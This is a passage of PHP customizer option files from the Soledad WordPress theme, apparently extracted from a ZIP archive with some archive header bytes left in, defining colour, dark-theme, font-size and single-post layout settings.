			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "View All" Button', 'soledad' ),
	'id'       => 'penci_featuredcat_viewall_size',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_viewall_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\q"  "  A  customizer/config/sections/pencidesign_general_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'General Text Color', 'soledad' ),
	'id'       => 'penci_general_text_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'       => __( 'Theme Color', 'soledad' ),
	'description' => __( 'For instance, the browser might use the specified color for the address bar, title bar, or status bar on mobile devices. Check <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/name/theme-color/theme-color.png">this image</a>.', 'soledad' ),
	'id'          => 'penci_theme_color',
	'default'     => '',
	'type'        => 'soledad-fw-color',
	'sanitize'    => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_color_accent',
	'default'  => '#6eb48c',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Custom Background Color for Body', 'soledad' ),
	'id'       => 'penci_bg_color_dark',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Custom General Borders Color', 'soledad' ),
	'id'       => 'penci_border_color_dark',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Dark Theme', 'soledad' ),
	'id'       => 'penci_darktheme_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'       => __( 'Enable Dark Theme', 'soledad' ),
	'id'          => 'penci_enable_dark_layout',
	'description' => __( 'All options below only apply when you enable dark theme. And all other elements, please change it via other colors options for those elements.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Text Color for Dark Theme', 'soledad' ),
	'id'       => 'penci_text_color_dark',
	'default'  => '#afafaf',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Posts Meta Color for Dark Theme', 'soledad' ),
	'id'       => 'penci_meta_color_dark',
	'default'  => '#949494',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'General Buttons', 'soledad' ),
	'id'       => 'penci_button_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Buttons Background Color', 'soledad' ),
	'id'       => 'penci_buttons_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Buttons Text Color', 'soledad' ),
	'id'       => 'penci_buttons_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Buttons Hover Background Color', 'soledad' ),
	'id'       => 'penci_buttons_bghover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Buttons Hover Text Color', 'soledad' ),
	'id'       => 'penci_buttons_colorhver',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Breadcrumbs', 'soledad' ),
	'id'       => 'penci_breadcrumbs_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Breadcrumbs Text Color', 'soledad' ),
	'id'       => 'penci_breadcrumbs_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Breadcrumbs Text Hover Color', 'soledad' ),
	'id'       => 'penci_breadcrumbs_hcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Archive Page Titles', 'soledad' ),
	'id'       => 'penci_archiveptitle_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Archive Page Titles Prefix Color', 'soledad' ),
	'id'       => 'penci_archivetitle_prefix_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Archive Page Titles Color', 'soledad' ),
	'id'       => 'penci_archivetitle_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);


$options[] = array(
	'label'    => esc_html__( 'Text Selection Color', 'soledad' ),
	'id'       => 'penci_selectorcl_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Selector Background Color', 'soledad' ),
	'id'       => 'penci_textselector_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Selector Text Color', 'soledad' ),
	'id'       => 'penci_textselector_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'       => esc_html__( 'Filled Categories Styles', 'soledad' ),
	'description' => __( 'The options below apply for categories listing filled styles you selected via General > General Settings > Style for Post Categories Listing', 'soledad' ),
	'id'          => 'penci_catfil_bheading',
	'type'        => 'soledad-fw-header',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_cfiled_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_cfiled_bgcl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Text Hover Color', 'soledad' ),
	'id'       => 'penci_cfiled_hcl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Background Hover Color', 'soledad' ),
	'id'       => 'penci_cfiled_hbgcl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Pagination/Load More Post Button', 'soledad' ),
	'id'       => 'penci_pagination_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Text Color for Pagination', 'soledad' ),
	'id'       => 'penci_pagination_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Accent Color for Pagination', 'soledad' ),
	'id'       => 'penci_pagination_hcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Color for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Borders Color for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_borders',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Background Color for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_bg',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Color on Hover for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_hcolor',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Borders Color on Hover for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_hborders',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Background Color on Hover for "Load More Posts" Button', 'soledad' ),
	'id'       => 'penci_loadmorebtn_hbg',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

return $options;
PK     0w\4k    B  customizer/config/sections/penci_section_spost_general_section.phpnu [        <?php
$options      = [];
$single_style = array();
for ( $i = 1; $i <= 22; $i ++ ) {
	$single_style[ 'style-' . $i ] = esc_html__( 'Style ' . $i, 'soledad' );
}

$options[]         = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Single Posts Template', 'soledad' ),
	'id'       => 'penci_single_style',
	'type'     => 'soledad-fw-select',
	'choices'  => $single_style,
);
$single_layout     = [];
$single_layout[''] = esc_attr__( 'None' );
$single_layouts    = get_posts( [
	'post_type'      => 'custom-post-template',
	'posts_per_page' => - 1,
	'meta_query'     => array(
		'relation' => 'OR',
		array(
			'key'     => 'penci_desktop_page_id',
			'compare' => 'NOT EXISTS',
		),
		array(
			'key'     => 'penci_desktop_page_id',
			'value'   => '',
			'compare' => '=',
		),
	),
] );
foreach ( $single_layouts as $slayout ) {
	$single_layout[ $slayout->post_name ] = $slayout->post_title;
}
$options[]                     = array(
	'default'     => '',
	'description' => __( 'Will override the pre-build single posts template above. You can add new and edit a single post template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=custom-post-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Post Builder Template', 'soledad' ),
	'id'          => 'penci_single_custom_template',
	'type'        => 'soledad-fw-select',
	'choices'     => $single_layout
);
$penci_move_title_bellow_style = [
	'style-1',
	'style-2',
	'style-3',
	'style-4',
	'style-5',
	'style-6',
	'style-7',
	'style-8',
	'style-9',
	'style-14',
	'style-16',
	'style-17',
	'style-18',
	'style-19',
	'style-22',
];
$options[]                     = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Move Categories, Post Title, Post Meta To Bellow Featured Image', 'soledad' ),
	'id'              => 'penci_move_title_bellow',
	'type'            => 'soledad-fw-toggle',
	'active_callback' => [
		[
			'setting'  => 'penci_single_style',
			'operator' => 'in',
			'value'    => $penci_move_title_bellow_style,
		]
	],
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Focus Mode', 'soledad' ),
	'description' => __( 'This option will display a button in the footer. Users can click it to enable Focus Mode, which highlights only the main content of the page. It hides unnecessary elements such as the header, footer, sidebar, comments, related posts, and more.', 'soledad' ),
	'id'          => 'penci_single_focus_mode',
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => 'right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Focus Mode Button Position', 'soledad' ),
	'id'       => 'penci_single_focus_mode_pos',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'right'       => __( 'Bottom Right', 'soledad' ),
		'left'        => __( 'Bottom Left', 'soledad' ),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_single_focus_mode',
			'operator' => '==',
			'value'    => true,
		]
	],
);
$options[]                     = array(
	'default'  => 'right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Single Posts Sidebar Layout', 'soledad' ),
	'id'       => 'penci_single_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'right'       => __( 'Right Sidebar', 'soledad' ),
		'left'        => __( 'Left Sidebar', 'soledad' ),
		'two'         => __( 'Two Sidebars', 'soledad' ),
		'no'          => __( 'No Sidebar', 'soledad' ),
		'small_width' => __( 'No Sidebar with Container Width Smaller', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Single Posts Sidebar Layout on Mobile', 'soledad' ),
	'id'       => 'penci_single_layout_mobile',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''            => __( 'Follow Desktop', 'soledad' ),
		'right'       => __( 'Right Sidebar', 'soledad' ),
		'left'        => __( 'Left Sidebar', 'soledad' ),
		'two'         => __( 'Two Sidebars', 'soledad' ),
		'no'          => __( 'No Sidebar', 'soledad' ),
		'small_width' => __( 'No Sidebar with Container Width Smaller', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load Sidebar Content on Mobile', 'soledad' ),
	'id'       => 'penci_single_delayed_sidebar',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => '1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Default Smart Lists Style', 'soledad' ),
	'id'       => 'penci_single_smartlists_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'1' => 'Style 1',
		'2' => 'Style 2',
		'3' => 'Style 3',
		'4' => 'Style 4',
		'5' => 'Style 5',
		'6' => 'Style 6',
	)
);
$options[]                     = array(
	'default'         => '780',
	'sanitize'        => 'absint',
	'label'           => __( 'Custom Width for "No Sidebar with Container Width Smaller" Layout You Selected Above', 'soledad' ),
	'id'              => 'penci_single_smaller_width',
	'type'            => 'soledad-fw-size',
	'ids'             => array(
		'desktop' => 'penci_single_smaller_width',
	),
	'choices'         => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '780',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_single_layout',
			'operator' => '==',
			'value'    => 'small_width',
		]
	],
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Container Width on Single Posts Page', 'soledad' ),
	'description' => __( 'Minimum is 600px', 'soledad' ),
	'id'          => 'penci_single_container_w',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_single_container_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Custom Container Width for Two Sidebars on Single Posts Page', 'soledad' ),
	'description' => __( 'Minimum is 800px', 'soledad' ),
	'id'          => 'penci_single_container2_w',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_single_container2_w',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Image Size for Featured Image', 'soledad' ),
	'description' => __( 'This option doesn\'t apply for two sidebars layout.', 'soledad' ),
	'id'          => 'penci_single_custom_thumbnail_size',
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		global $_wp_additional_image_sizes;

		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Parallax on Featured Image', 'soledad' ),
	'id'          => 'penci_enable_jarallax_single',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'This feature does not apply for Single Style 1 & 2', 'soledad' ),
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Font Sizes Changer', 'soledad' ),
	'id'       => 'penci_single_font_changer',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Parallax on Featured Image on Mobile', 'soledad' ),
	'id'       => 'penci_dis_jarallax_single_mb',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Auto Play for Single Slider Gallery & Posts Format Gallery', 'soledad' ),
	'id'       => 'penci_disable_autoplay_single_slider',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Images Title on Galleries from The Theme', 'soledad' ),
	'id'       => 'penci_disable_image_titles_galleries',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Lightbox on Single Posts', 'soledad' ),
	'id'       => 'penci_disable_lightbox_single',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide Featured Image on Top', 'soledad' ),
	'id'          => 'penci_post_thumb',
	'description' => __( 'Hide Featured images auto appears on single posts page - This option not apply for Video format, Gallery format', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Category', 'soledad' ),
	'id'       => 'penci_post_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Uppercase on Post Categories', 'soledad' ),
	'id'       => 'penci_on_uppercase_post_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Border Radius for Featured Image', 'soledad' ),
	'id'          => 'penci_post_featured_image_radius',
	'type'        => 'soledad-fw-text',
	'description' => __( 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>. If you want to disable border radius - fill 0', 'soledad' ),
);
$options[]                     = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Aspect Ratio for Featured Image', 'soledad' ),
	'id'          => 'penci_post_featured_image_ratio',
	'type'        => 'soledad-fw-text',
	'description' => __( 'The aspect ratio of an element describes the proportional relationship between its width and its height. E.g: <strong>3:2</strong>. Default is 3:2 . This option not apply when enable parallax images. This feature does not apply for Single Style 1 & 2', 'soledad' ),
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Align Left Post Categories, Post Title, Post Meta', 'soledad' ),
	'id'       => 'penci_align_left_post_title',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Letter Spacing on Post Title', 'soledad' ),
	'id'       => 'penci_off_letter_space_post_title',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Post Title', 'soledad' ),
	'id'       => 'penci_off_uppercase_post_title',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author', 'soledad' ),
	'id'       => 'penci_single_meta_author',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show Updated Author', 'soledad' ),
	'description' => __( 'If a post is created by one author and then edited and updated by another author, this option will allow you to display both authors in the post\'s meta data.', 'soledad' ),
	'id'          => 'penci_single_meta_update_author',
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_single_meta_date',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Display Published Date & Modified Date', 'soledad' ),
	'description' => esc_html__( 'Note that: If Published Date and Modified Date is the same - will be display Published date only. And if you want to display Modified date only - check option for it via Customize > General > General Settings > Display Modified Date Replace with Published Date', 'soledad' ),
	'id'          => 'penci_single_publishmodified',
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comment Count', 'soledad' ),
	'id'       => 'penci_single_meta_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_single_show_cview',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time', 'soledad' ),
	'id'       => 'penci_single_hreadtime',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Dropdown Share in Post Meta', 'soledad' ),
	'id'       => 'penci_single_dropdown_share',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Font Size Adjustment', 'soledad' ),
	'id'       => 'penci_single_fontsize_adj',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Ajax Post View Count', 'soledad' ),
	'id'          => 'penci_enable_ajax_view',
	'description' => __( 'Use to count posts viewed when you using cache plugin.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Caption on Featured Image', 'soledad' ),
	'id'          => 'penci_post_thumb_caption',
	'description' => __( 'If your featured image has a caption, it will display on featured image', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Caption on Slider of Gallery Post Format', 'soledad' ),
	'id'       => 'penci_post_gallery_caption',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Caption of Images to Below The Images', 'soledad' ),
	'id'       => 'penci_post_caption_below',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Italic on Caption of Images', 'soledad' ),
	'id'       => 'penci_post_caption_disable_italic',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Blockquote Style:', 'soledad' ),
	'id'       => 'penci_blockquote_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
		'style-7' => __( 'Style 7', 'soledad' ),
		'style-8' => __( 'Style 8', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 1 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h1_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 2 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h2_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 3 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h3_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 4 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h4_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Style for Heading 5 Inside Post Content', 'soledad' ),
	'id'       => 'penci_heading_h5_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
		'style-6' => __( 'Style 6', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Tags Style', 'soledad' ),
	'id'       => 'penci_tags_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => __( 'Default (No Style)', 'soledad' ),
		'style-1' => __( 'Style 1', 'soledad' ),
		'style-2' => __( 'Style 2', 'soledad' ),
		'style-3' => __( 'Style 3', 'soledad' ),
		'style-4' => __( 'Style 4', 'soledad' ),
		'style-5' => __( 'Style 5', 'soledad' ),
	)
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Tags', 'soledad' ),
	'id'       => 'penci_post_tags',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Like Count & Social Share', 'soledad' ),
	'id'       => 'penci_post_share',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn on the Sticky Share', 'soledad' ),
	'id'       => 'penci_post_stickyshare',
	'type'     => 'soledad-fw-toggle',
);
$options[]                     = array(
	'default'         => 'style-1',
	'sanitize'        => 'penci_sanitize_choices_field',
